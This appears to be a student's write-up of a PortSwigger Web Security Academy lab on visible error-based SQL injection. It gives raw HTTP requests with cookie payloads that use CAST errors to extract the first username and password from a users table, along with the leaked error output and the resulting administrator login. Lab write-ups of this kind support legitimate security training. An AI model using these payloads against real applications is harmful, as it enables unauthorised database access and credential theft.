

Web Security Labs

SQL Injection Lab-09

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CB.SC.P2CYS23019

Visible error-based SQL injection

Retrieve the Username:

```
1 GET / HTTP/2
2 Host: 0a0f000903b1760380f04939004000a8.web-security-academy.net
3 Cookie: TrackingId= AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--; session=9VxxkRdi19dEL7Kf70n89tZCpKFDmmH
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Referer: https://portswigger.net/
9 Upgrade-Insecure-Requests: 1
10 Sec-Fetch-Dest: document
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Site: cross-site
13 Sec-Fetch-User: ?1
14 Te: trailers
15
16
```



Visible error-based SQL injection

[Back to lab description >>](#)

LAB Not solved

ERROR: invalid input syntax for type integer: "administrator"

Retrieve the Password:

```
1 GET / HTTP/2
2 Host: 0a0f000903b1760380f04939004000a8.web-security-academy.net
3 Cookie: TrackingId= AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--; session=9VxxkRdi19dEL7Kf70n89tZCpKFDmmH
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Referer: https://portswigger.net/
9 Upgrade-Insecure-Requests: 1
10 Sec-Fetch-Dest: document
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Site: cross-site
13 Sec-Fetch-User: ?1
14 Te: trailers
15
```



Visible error-based SQL injection

[Back to lab description >>](#)

LAB Not solved

ERROR: invalid input syntax for type integer: "nhksdb6ao8wi651q3wch"



Visible error-based SQL injection

[Back to lab description >>](#)

LAB Solved

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My Account

Your username is: administrator

Email

[Update email](#)